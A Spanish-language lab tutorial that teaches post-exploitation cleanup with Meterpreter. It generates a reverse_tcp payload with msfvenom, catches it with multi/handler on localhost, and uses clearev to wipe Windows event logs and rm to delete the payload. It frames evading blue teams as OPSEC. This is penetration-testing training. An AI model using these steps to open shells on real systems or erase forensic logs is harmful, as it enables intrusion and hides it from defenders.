Limpiar un Sistema Después de un Compromiso usando Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En el campo de las pruebas de penetración y el equipo rojo (red teaming), obtener acceso a un sistema objetivo es solo una parte de la misión. Lo que haces después de obtener acceso, y de igual importancia, antes de desconectarte, es crítico. Esta fase se conoce como post-explotación. Un componente crucial de la post-explotación es la limpieza: el proceso de eliminar todos los rastros de tu presencia del sistema comprometido.

Dejar atrás herramientas, registros o cambios en el sistema puede alertar a los administradores del sistema y a los equipos azules (blue teams) sobre tus actividades, lo que lleva al fracaso del compromiso y a la corrección de las vulnerabilidades que utilizaste. Meterpreter, una potente carga útil (payload) dentro del Metasploit Framework, proporciona varias herramientas para ayudar en este proceso de limpieza.

En este laboratorio, aprenderás los pasos fundamentales para limpiar un sistema después de un compromiso utilizando Meterpreter. Practicarás la obtención de una sesión, la limpieza de registros de eventos, la eliminación de archivos y la comprensión de la importancia de no dejar rastro.

Obtener una sesión de Meterpreter en un objetivo

En este paso, antes de poder practicar la limpieza de un sistema, primero debemos acceder a él. Simularemos esto creando una carga útil (payload) con msfvenom, configurando un oyente (listener) en el Metasploit Framework y luego "ejecutando" la carga útil en nuestra propia máquina para obtener una sesión de Meterpreter en localhost.

Primero, abre una terminal y usa msfvenom para generar una carga útil de Meterpreter para Linux. Este comando creará un archivo ejecutable llamado payload.elf en tu directorio actual (~/project).

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Deberías ver una salida que indica que la carga útil se generó con éxito:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

A continuación, inicia la consola del Metasploit Framework. La opción -q hace que se inicie silenciosamente sin mostrar el banner.

msfconsole -q

Una vez que estés en el prompt de msfconsole, necesitas configurar un oyente para capturar la conexión de la carga útil. Usaremos el módulo exploit/multi/handler.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

El comando exploit -j inicia el oyente como un trabajo en segundo plano, para que puedas seguir usando la consola. Verás un mensaje que indica que el manejador (handler) ha comenzado.

Ahora, abre una nueva pestaña de terminal haciendo clic en el icono + en la ventana de la terminal. En esta nueva pestaña, haz que la carga útil sea ejecutable y ejecútala.

chmod +x ~/project/payload.elf
~/project/payload.elf

Vuelve a tu primera pestaña de terminal con msfconsole. Deberías ver un mensaje que indica que se ha abierto una sesión de Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

Para interactuar con esta nueva sesión, usa el comando sessions.

sessions -i 1

Tu prompt debería cambiar a meterpreter >, indicando que ahora tienes el control de la sesión.

Usar el comando clearev para limpiar los registros de eventos

En este paso, discutiremos uno de los comandos de limpieza más importantes en Meterpreter: clearev. Un objetivo principal de la limpieza es eliminar la evidencia de tu actividad de los registros del sistema. En los sistemas Windows, estos registros (Aplicación, Sistema y Seguridad) son una fuente principal de información para los investigadores forenses.

El comando clearev está diseñado específicamente para limpiar estos tres registros de eventos principales en un objetivo Windows.

Nota Importante: Nuestra sesión actual de Meterpreter está en un sistema Linux. El comando clearev no funcionará aquí y producirá un error. Estamos demostrando su uso con fines educativos, ya que es una herramienta crítica cuando tu objetivo es Windows.

Dentro de tu prompt meterpreter >, escribe el comando para ver el resultado en nuestra sesión de Linux:

meterpreter > clearev

Verás un mensaje de error porque el comando no está implementado para sistemas Linux.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

Sin embargo, si estuvieras en una sesión de Meterpreter en una máquina Windows, la salida se vería así, indicando éxito:

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

Comprender qué herramientas funcionan en qué sistemas operativos es una habilidad clave para un probador de penetración. Aunque no pudimos ejecutarlo con éxito, ahora conoces el comando principal para limpiar los registros de eventos en un objetivo Windows.

Eliminar manualmente cualquier archivo o herramienta cargada

En este paso, aprenderás a eliminar manualmente los archivos que hayas cargado o creado en el sistema objetivo. Los scripts automatizados son útiles, pero siempre debes realizar una verificación manual para asegurarte de que no queden herramientas, scripts o cargas útiles.

En nuestro escenario actual, el archivo payload.elf que creamos en el Paso 1 ahora se encuentra en el sistema "comprometido". Debemos eliminarlo para cubrir nuestras huellas. Podemos hacer esto directamente desde nuestra sesión de Meterpreter.

Primero, usa el comando ls dentro de Meterpreter para listar los archivos en el directorio actual del objetivo. Deberías ver tu archivo de carga útil.

meterpreter > ls

La salida listará los archivos en /home/labex/project:

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

Ahora, usa el comando rm en Meterpreter para eliminar el archivo.

meterpreter > rm payload.elf

Deberías ver un mensaje de confirmación:

[*] rm: Removed /home/labex/project/payload.elf

Para confirmar que el archivo ha desaparecido, ejecuta el comando ls nuevamente. El archivo payload.elf ya no debería aparecer en la lista. Este es un paso crítico para asegurarte de dejar el sistema como lo encontraste.

Revertir cualquier cambio del sistema realizado durante la post-explotación

En este paso, abordaremos otro aspecto de la limpieza: revertir los cambios del sistema. Durante la post-explotación, es posible que agregues cuentas de usuario, cambies permisos de archivos o crees tareas programadas para persistencia. Todos estos cambios deben deshacerse antes de irte.

Simularemos esto creando un archivo temporal para representar una modificación del sistema, y luego lo eliminaremos.

Desde tu prompt meterpreter >, creemos un archivo llamado temp_change.txt. Podemos hacer esto usando el comando execute de Meterpreter para ejecutar el comando touch en el sistema objetivo.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

Este comando ejecuta touch con el argumento /home/labex/project/temp_change.txt. Puedes verificar su creación con ls.

meterpreter > ls

Ahora, como parte de nuestra limpieza, debemos eliminar este archivo. Usa el comando rm tal como lo hiciste en el paso anterior.

meterpreter > rm temp_change.txt

Este es un ejemplo muy simple, pero el principio se aplica a cambios más complejos. Si agregaste un usuario, debes eliminar ese usuario. Si modificaste un archivo de configuración, debes restaurarlo de una copia de seguridad o revertir los cambios manualmente.

Finalmente, nuestra limpieza en el objetivo está completa. Ahora podemos salir de la sesión de Meterpreter y luego salir de la consola de Metasploit.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

Esto te devolverá a tu prompt de terminal normal.

Discutir la importancia de no dejar rastro

Este paso final es una revisión conceptual de por qué la limpieza es una de las fases más críticas de un compromiso de seguridad profesional. Aquí no hay comandos que ejecutar; el objetivo es comprender la importancia estratégica de lo que acabas de practicar.

Razones Clave para una Limpieza Exhaustiva:

  1. Seguridad Operacional (OPSEC): El objetivo principal es permanecer indetectado. Cualquier artefacto que dejes atrás —un archivo, una entrada de registro, un proceso en ejecución— es una pista para los equipos azules y los respondedores de incidentes. Ser detectado puede quemar toda tu operación, incluidas las herramientas y la infraestructura que utilizaste.

  2. Profesionalismo e Integridad: En una prueba de penetración profesional, se te contrata para evaluar la seguridad, no para dañar los sistemas del cliente. Dejar un sistema en un estado modificado es poco profesional. Restaurar el sistema a su estado original demuestra cuidado y respeto por el entorno del cliente.

  3. Prevención de Daños No Intencionados: Las herramientas o scripts que se dejan atrás pueden causar inestabilidad en el sistema. Peor aún, una puerta trasera que creaste para acceder podría ser descubierta y utilizada por un actor malicioso, haciendo que el sistema sea menos seguro de lo que era cuando empezaste. Tu responsabilidad es mejorar la seguridad, no crear nuevas vulnerabilidades.

  4. Mantenimiento del Acceso Futuro: En un compromiso de equipo rojo que puede abarcar semanas o meses, limpiar después de cada pequeña acción asegura que tu acceso a largo plazo no sea descubierto prematuramente. Si te detectan, los defensores parchearán las vulnerabilidades y cerrarán los puntos de acceso que estabas utilizando.

En resumen, la limpieza efectiva no se trata solo de eliminar archivos. Es una mentalidad que prioriza el sigilo, el profesionalismo y la misión principal del compromiso. Separa a los hackers aficionados de los probadores de seguridad profesionales.

Resumen

En este laboratorio, has recorrido el proceso esencial de limpieza de un sistema comprometido utilizando Meterpreter. Esta es una habilidad fundamental para cualquier hacker ético o probador de penetración.

Has logrado con éxito:

  • Obtener una sesión de Meterpreter creando y ejecutando un payload.
  • Aprender sobre el comando clearev y su caso de uso específico para borrar registros de eventos en sistemas Windows.
  • Practicar la eliminación manual de archivos de un sistema objetivo utilizando el comando rm de Meterpreter.
  • Simular la reversión de cambios del sistema creando y eliminando un archivo temporal.
  • Reflexionar sobre la importancia crítica de la limpieza para mantener la seguridad operacional y el profesionalismo.

Al dominar estas técnicas, puedes asegurar que tus compromisos de seguridad no solo sean efectivos, sino también responsables, dejando el entorno objetivo tal como lo encontraste y minimizando el riesgo de detección.